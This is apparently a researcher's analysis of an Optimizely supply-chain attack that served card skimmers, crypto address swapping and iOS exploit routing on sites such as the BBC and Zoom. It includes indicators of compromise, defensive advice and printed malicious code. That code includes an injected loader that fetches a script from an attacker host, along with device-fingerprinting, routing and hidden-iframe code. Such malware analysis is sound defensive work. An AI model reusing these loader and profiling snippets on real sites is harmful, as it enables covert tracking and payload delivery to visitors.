Poisoned JavaScript on BBC, Zoom and Major Websites: iOS Exploits Explained

Poisoned JavaScript on BBC, Zoom and Major Websites: iOS Exploits Explained

-- views

Incident summary: A supply-chain attack targeting Optimizely compromised 188 scripts across 178 organizations, including BBC, Zoom, CNN, HSBC and IKEA. Malicious JavaScript delivered cryptocurrency address-swapping malware, payment-card skimmers and iOS exploit kits (Coruna and DarkSword). Attackers reportedly stole approximately $7,150 in cryptocurrency. The exposure lasted nearly 19 hours, and successful iPhone compromises remain unconfirmed.

Credits and Acknowledgments

I won’t be breaking down the entire campaign, as several excellent write-ups have already covered the investigation in detail. I highly recommend checking out the original research and analysis:

For my part, I focused on following the obfuscated scripts, tracing their execution paths, and gathering as much additional information as possible to better understand the attack.

Full credit goes to the original researchers and authors who conducted the extensive investigation and published their findings. Their work made this deeper analysis possible.

Attack Path Summary

Optimizely JScdn.optimizely[.]comtrack.js1688360[.]ccboot.js · router5vobauua3ojpklx[.]icuA8/a.htmlCorunaD11/b.htmlDarkSwordC10/b.htmlGhostWaveevery pageiPhone / iPadiOS 13–17iOS 18–25iOS 26

This attack exists in many versions and can follow many different paths. The path below is the one I analyzed, from one of the latest versions of the attack, where a single line added to a website’s Optimizely Project JavaScript loads track.js, which then hands iPhones and iPads to the boot.js router.

The scripts on this path, in the order a visitor’s browser loads them:

#ScriptServed from
1Optimizely JavaScriptcdn.optimizely[.]com/js/5113954737848320.js
2track.js1688360[.]cc
3boot.js (router)5vobauua3ojpklx[.]icu
4D11/b.html (DarkSword entry)5vobauua3ojpklx[.]icu

Stage 1: One line in the Optimizely Project JavaScript

Optimizely customers can add “Project JavaScript” that runs on every page. The script was entirely legitimate except for one line appended to the end of the site owner’s own code, right after its Marketo tracking:

cdn.optimizely[.]com/js/5113954737848320.jsProject JavaScript · lines 73–80
73 }, 100);
74
75 setTimeout(function() {
76 clearInterval(checkMarketoInterval);
77 }, 10000);
78})();
79// injected: one minified line in the original, expanded hereINJECTED
(function(){
try{ 2
var s = document.createElement('script');
s.src = 'hxxps://1688360[.]cc/track.js'; 1
s.async = true;
(document.head || document.documentElement).appendChild(s);
}catch(e){} 2
})();
80}
1Pulls the next stage, track.js, from the attacker's host 1688360[.]cc.
2An empty try/catch swallows every error, so nothing shows in the console.

It arrives from cdn.optimizely.com under Optimizely’s own TLS certificate, so allow-lists that trust the vendor let it straight through. The try/catch swallows any error, so there’s no console trace, and the site’s own code was never touched.

Stage 2: The iOS hand-off in track.js

track.js is what the Optimizely injection loads. Its last block decides what an iPhone or iPad gets. First the device test:

1688360[.]cc/track.jsline 527 · device test
527// a single minified line in the original file, expanded here
var u = navigator.userAgent||'',
im = u.match(/OS (\d+)_(\d+)/),
iv = im ? parseFloat(im[1]+'.'+im[2]) : 0,
i = /iPhone|iPad|iPod/.test(u) || 1
(/Macintosh/.test(u) && navigator.maxTouchPoints>1); 2
1Any iPhone, iPad or iPod user agent.
2A Mac user agent with touch points, which is an iPad in desktop mode.

It matches iPhone, iPad and iPod user agents, plus a Mac user agent with touch support (an iPad in desktop mode). Other devices skip the block. For a match, it adds the router to the page:

1688360[.]cc/track.jslines 528–538 · router injection
528if(i){(function () {
529 const script = document.createElement("script");
530
531 script.src = "hxxps://5vobauua3ojpklx[.]icu/boot.js"; 1
532 script.setAttribute("data-landing", ""); 2
533 script.setAttribute("data-channel-code", "02111110"); 3
534 script.setAttribute("data-chain-url", "hxxps://5vobauua3ojpklx[.]icu/"); 4
535 script.setAttribute("data-cfasync", "false"); 5
536
537 document.head.appendChild(script);
538})();
1Loads the boot.js router, only for devices that passed the check on line 527.
2data-landing switches boot.js into attack mode: check the device, report it and open the hidden frame. Without it, boot.js acts as a helper inside the exploit pages.
3data-channel-code is a campaign or affiliate ID. It travels with every report and every exploit URL.
4data-chain-url is the base address of the exploit pages.
5data-cfasync="false" is Cloudflare's own documented opt-out, so Rocket Loader doesn't delay or rewrite the router on Cloudflare-fronted sites.

Stage 3: The iOS router in boot.js

boot.js is where targeting happens. It’s minified, and it hides its servers.

Three layers, three decoding passes

PassWhat hidesHow I undid itResult
1Layout: 12,088 bytes on one lineBeautifier (jsbeautifier)559 lines
2Server URLs as XOR byte arraysXOR with the repeating key d7K9mP2x2 URLs recovered
340 one-letter namesScope-aware rename with Babel532 readable lines

I ran the three passes on the captured sample in a Kali VM. Start by confirming the file is the one analysed here:

Figure 1. SHA-256 of the boot.js sample (8d69f32f…ac860) matches the file served by 5vobauua3ojpklx[.]icu

Figure 1. SHA-256 of the boot.js sample (8d69f32f…ac860) matches the file served by 5vobauua3ojpklx[.]icu.

Pass 1 checks the hash again and re-indents the single 12,088-byte line into 559 lines:

Figure 2. Pass 1: the beautifier confirms the hash and writes 559 readable lines

Figure 2. Pass 1: the beautifier confirms the hash and writes 559 readable lines.

There’s no eval, packer or control-flow flattening, so three static passes recover everything. The XOR step looks like this:

Figure 3. Lines 4–10 of the Pass 1 output in Kali: the XOR decoder e(), the key d7K9mP2x and the two encoded arrays

Figure 3. Lines 4–10 of the Pass 1 output in Kali: the XOR decoder e(), the key d7K9mP2x and the two encoded arrays.

Line 9 decodes to hxxps://5vobauua3ojpklx[.]icu (the API) and line 10 to hxxps://je4ft3gn8vxudum[.]icu (the C2 base).

Pass 2 finds that decoder by its shape, resolves the key and replaces both calls with the decoded strings:

Figure 4. Pass 2 recovers the API (5vobauua3ojpklx[.]icu) and the C2 (je4ft3gn8vxudum[.]icu)

Figure 4. Pass 2 recovers the API (5vobauua3ojpklx[.]icu) and the C2 (je4ft3gn8vxudum[.]icu). The IPv6 lookup and STUN URLs were never hidden.

The first byte, 12, XOR d (100) gives 104, h; 67 XOR 7 (55) gives 116, t; and so on. A text search of the file for .icu or https finds nothing.

Pass 3 renames the 40 one-letter bindings in the outer scope with Babel, so each name only changes where that binding is used. The names come from reading what each function does:

Figure 5. Pass 3 rename map from minified name to readable name

Figure 5. Pass 3 rename map (minified name → readable name). The result is 532 readable lines.

Version detection, including iPads posing as Macs

Since iPadOS 13, Safari on iPad requests desktop sites and sends a Mac user agent with no iOS version. The router catches it anyway:

5vobauua3ojpklx[.]icu/boot.jslines 160–170 · iOS version detection
160 var i = t.match(/Version\/(\d+)(?:\.(\d+))?(?:\.(\d+))?/i),
161 a = i ? parseInt(i[1], 10) : null,
162 c = i && i[2] ? parseInt(i[2], 10) : 0,
163 f = i && i[3] ? parseInt(i[3], 10) : 0;
164 // one line in the beautified file, split here for width
return null !== a && null !== e && a >= 26 && a > e 1
? o = [a, c, f]
: null !== e
? o = [e, n, s]
: function() {
165 try {
166 return "MacIntel" === navigator.platform && navigator.maxTouchPoints > 1 2
167 } catch (t) {
168 return !1
169 }
170 }() && null !== a ? o = [a, c, f] : (o = null, null)
1Safari 26 freezes the OS token at 18_6, so the router trusts Version/ when it is 26 or higher.
2An iPad posing as a Mac: real Macs report 0 touch points, iPads report 5.

Real Macs report 0 touch points; iPads report 5. When this matches, the router takes the iOS version from Safari’s Version/NN, which tracks the iOS release. It also handles Safari 26, which freezes the OS token at 18_6 in the user agent: if Version/ is 26 or higher and newer than the OS token, the router uses Version/.

Profiling every iPhone before any exploit

For iOS 13–26 it:

  • creates a visitor ID, ds_ plus a timestamp and random suffix, and stores it as ds_vk in both localStorage and sessionStorage, so the same iPhone keeps its ID after Safari is closed;
  • POSTs {channelCode, deviceVersion: "IOS 18.6", domain: <victim site>} to /api/ip-sync/sync;
  • learns the device’s real IPv6 address two ways, from ipv6.icanhazip.com and from a WebRTC connection to Google’s STUN server (keeping only global addresses starting with 2 or 3), and reports it again.

Every iPhone on iOS 13–26 that loaded an affected page was identified and logged this way, whether or not an exploit followed.

Routing

The choice of entry page is made in one function, entryPageForVersion():

5vobauua3ojpklx[.]icu/boot.jslines 174–188 · entry page routing
174function entryPageForVersion() {
175 if (isAboveIOS26()) return ""; 1
176 var t = iosMajor();
177 if (null === t) return ""; // Windows, Android, real Mac: nothing 2
178 if (t >= 13 && t <= 17) return "A8/a.html"; 3
179 if (t >= 18 && t <= 25) return "D11/b.html"; 4
180 if (t >= 26 && t <= 26) return "C10/b.html"; 5
181 return ""; // iOS 12 and below: nothing
182}
183function isIOS18to26() { … t >= 18 && t <= 26 }
188function isIOS13to17() { … t >= 13 && t <= 17 }
1iOS 27 and later are excluded outright.
2No iOS version found: Windows, Android and real Macs get nothing.
3iOS 13–17 go to A8, the Coruna kit.
4iOS 18–25 go to D11, the DarkSword kit.
5iOS 26 only goes to C10, the GhostWave kit.
iOSEntry page
< 13nothing
13 – 17A8/a.html
18 – 25D11/b.html
26C10/b.html
27 +nothing (explicitly excluded)

The router sends each iPhone or iPad to one of three entry pages, chosen by its iOS version. A8 serves Coruna, an older kit for iOS 13–17. D11 serves DarkSword, the iOS 18 kit, which first asks the server whether to fire. C10 handles iOS 26. Reports identify it as GhostWave, a fork of DarkSword, and its entry page follows the same pattern as D11.

The hidden frame

The chosen page loads into an iframe with id chainFrame: 320×568 (an iPhone SE screen), opacity:0.01, pointer-events:none, aria-hidden. The URL carries the victim’s details:

hidden iframe · #chainFrameentry page URL
…/D11/b.html?channelCode=02111110 1&visitor_key=ds_mwjra87fne4zrh 2
&landing=https%3A%2F%2Fexample.com 3&dbg=1&rk=<timestamp>
1Campaign ID from track.js.
2Per-device visitor ID, also stored as ds_vk.
3The site the victim was reading.

Stage 4: The entry pages

Note: There are reports that the kit containing these scripts is being sold on source code marketplaces. I found what appears to be a copy of the kit’s scripts, with folders corresponding to the router’s routes, which I used as the basis for further analysis. However, I was unable to retrieve any payloads from the attacker’s servers, so these findings remain unverified.

What happens after the hand-off?

Once the router has picked a page for the phone, the attack splits into three paths, one for each group of iOS versions. All three are built to take over the phone through Safari and steal data from it. They differ in how carefully they pick their targets.

D11, DarkSword (iOS 18). This page is cautious. It first records details about the phone, then asks the attacker’s server whether this phone should be attacked. It gives up after two tries, waits 30 minutes before trying again, and is meant to attack a phone only once a day. If the server says go, the page opens a second invisible window that starts the actual attack. The attack’s last stage uploads the phone’s keychain (its saved passwords), and the operator’s panel records the crypto-wallet seed phrases and private keys it takes.

A8, Coruna (iOS 13–17). On this server, the A8 page never loaded in my test. A copy from another server in the same campaign shows a simpler page: it doesn’t ask for permission. It records details about the phone and loads the Coruna toolkit straight away. Coruna then stops if the browser isn’t real Safari, or if the phone has Lockdown Mode (Apple’s extra-protection setting) switched on. Otherwise it downloads the attack built for that iOS version.

C10, GhostWave (iOS 26). Reports identify C10 as the iOS 26 route of GhostWave, a fork of DarkSword. The archive from VirusTotal shows it works like D11: it records the phone’s details, asks the server and follows the same limits. If the server says the phone was already attacked, it waits three days instead of one. If the server says go, it loads a hidden image file that appears to target a flaw in how iPhones open images, and plays silent audio, most likely to keep Safari running the page in the background. It is set up to start the main attack from there.

For the victim, all three look the same: nothing happens on screen. The attack runs in an invisible window while they read the normal website.

Recommendations

If you visited affected websites on iOS between November 16 and 17:

  • Update to the latest iOS release. The router has routes for every iOS version from 13 to 26, making outdated versions potential targets.
  • Consider enabling Lockdown Mode. It disables many browser features that WebKit exploits rely on.
  • Verify pasted wallet addresses before sending cryptocurrency. track.js replaces copied wallet addresses across all browsers, not just on iPhones. Compare the first and last characters of the address after pasting.
  • Move your cryptocurrency to a new wallet with a new seed phrase, and treat your old seed phrase and private keys as compromised.
  • Change your saved passwords, starting with your email and banking accounts.
  • Monitor your card statements for unauthorized transactions.

Indicators of Compromise

Only indicators confirmed in files I captured and hashed, or in my own scans, are listed. Domains and URLs are defanged.

Domains and URLs

IndicatorRoleWhere confirmed
1688360[.]ccSkimmer and loader hostLoaded by the injected line 79 of the Project JavaScript
hxxps://1688360[.]cc/track.jsStage 2 scriptProject JavaScript line 79
hxxps://1688360[.]cc/hit.phpBeacon endpointtrack.js line 209
hxxps://1688360[.]cc/html2canvas.min.jsScreenshot librarytrack.js line 240
hxxps://1688360[.]cc/card.phpCard data exfiltrationtrack.js line 669
5vobauua3ojpklx[.]icuRouter host and APItrack.js line 531; XOR-decoded from boot.js line 9
hxxps://5vobauua3ojpklx[.]icu/boot.jsStage 3 routertrack.js line 531
hxxps://5vobauua3ojpklx[.]icu/D11/b.htmlDarkSword entry pageboot.js routing; captured in the iOS 18.6 scan
/api/ip-sync/syncDevice and IPv6 reportboot.js (on 5vobauua3ojpklx[.]icu)
/api/track, /api/gs_state, /api/pe_okFingerprint and gate checksD11/b.html; replies seen in the iOS 18.6 scan
je4ft3gn8vxudum[.]icuC2 baseXOR-decoded from boot.js line 10
eil786npto9u5bq[.]icuSecond router host (not analysed here)track.js lines 542–554 (/boot.js, /JIUJIU888/weifile.html)

File hashes (SHA-256)

FileSizeSHA-256
cdn.optimizely[.]com/js/5113954737848320.js (poisoned Project JavaScript)354,471 Ba87a2eaea9cfb74aae7283d15fbdb499b5a8ebc3fab4c453df7d62e503996240
1688360[.]cc/track.js29,882 Bf7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40
5vobauua3ojpklx[.]icu/boot.js12,088 B8d69f32fff37208e52dc573111e8db99f031f4913845a24fb2e14755747ac860
5vobauua3ojpklx[.]icu/D11/b.html5,850 B792deb03483ce9b212df6f46319a78ea6fc39bfc5b2719c7e8b87d084524437d

Attacker wallets (track.js lines 6–14)

ChainAddress
BTC19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
LTCltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
ETH / EVM0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRONTHvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
SOLFVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
TONUQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
BCHqzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGEDBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

Browser and code artefacts

ArtefactValueSource
Campaign / channel code02111110track.js line 533
XOR keyd7K9mP2xboot.js line 8
Hidden iframe IDschainFrame, ds_sw_frameboot.js; D11/b.html
Storage keys (localStorage / sessionStorage)ds_vk, ds_ipsync, ds_ipsync_v6boot.js
Storage keys (sessionStorage)ds_sw_active, ds_sw_start, ds_sw_fails, ds_sw_cool, ds_sw_firedD11/b.html line 26
Window globals_k7, _cc, _qxc, _shottrack.js
Window globals__DAILI_CFG, __DAILI_CHAIN, __DAILI_JS_BASE, __DAILI_NET_HOOKEDboot.js

Note: If you need a copy of the samples analysed in this post for research or detection work, feel free to reach out.

Press Escape or click outside the image to close.